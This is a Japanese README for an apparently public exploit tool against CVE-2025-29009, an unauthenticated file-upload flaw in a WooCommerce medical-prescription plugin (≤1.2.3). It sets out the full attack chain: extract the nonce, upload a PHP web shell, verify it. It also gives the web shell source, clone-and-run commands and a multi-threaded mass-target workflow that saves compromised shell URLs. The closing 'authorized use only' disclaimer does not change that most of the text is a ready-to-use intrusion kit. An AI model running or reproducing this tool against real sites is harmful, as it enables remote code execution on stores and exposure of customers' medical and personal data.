
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 は、優先度の高い任意ファイルアップロード(Arbitrary File Upload)の脆弱性の影響を受けます。
WooCommerce用WordPressプラグイン「Medical Prescription Attachment Plugin」<= 1.2.3 は、高優先度の任意ファイルアップロードの脆弱性の影響を受けます
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
根本原因:
wkwcpa_handle_prescription_session AJAXハンドラー(action=wkwcpa_handle_prescription_session)は、wkwc_pa_prescription_attachment[] を介したファイルアップロードを、サーバーサイドでファイル拡張子やMIMEタイプを検証せずに受け入れます。未認証の攻撃者は、公開されているWooCommerceストアフロント(wkwcpaFrontObj JavaScriptオブジェクトに埋め込まれている)から ajaxNonce を抽出し、PHP Webシェルをサーバーのアップロードディレクトリに直接アップロードできます。レスポンスには、アップロードされたファイルの完全なアクセス可能なURLが返されます。
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
ツールが実行の成功を検証できるよう、一意の署名文字列を埋め込んだPHPシェルを作成してください:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
スクリプトと同じディレクトリに shell.php として保存してください。
NxploitedShellOK という文字列が署名です — 検証を通過するには、シェルのレスポンスにこの文字列が含まれている必要があります。
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
http://またはhttps://が付いていないターゲットには、自動的にhttp://がプレフィックスとして付加されます。
| ファイル | 内容 |
|---|---|
shells.txt | 検証済みのシェルURLを1行に1つ |
ターミナル:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · 1.2.4で修正済み
| 項目 | 詳細 |
|---|
| CVE | CVE-2025-29009 |
| プラグイン | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| 影響を受けるバージョン | すべてのバージョン ≤ 1.2.3 |
| 認証 | 不要 |
| 種別 | 危険なタイプのファイルの無制限アップロード → Webシェルアップロード |
| CWE | CWE-434 · 危険なタイプのファイルの無制限アップロード |
| コード | 意味 |
|---|
shell_file_missing | 作業ディレクトリに shell.php が見つかりません |
no_front_page | HTTP 200を返す候補ページがありません |
nonce_not_found | どのページにも wkwcpaFrontObj が存在しません |
upload_error | POST中のネットワークエラー |
json_parse_error | レスポンスが有効なJSONではありません |
success_false | サーバーが data.success = false を返しました |
no_attachments | アップロードは成功しましたが、レスポンスにURLがありません |
shell_url_not_found | レスポンスのHTMLからファイルURLを解析できませんでした |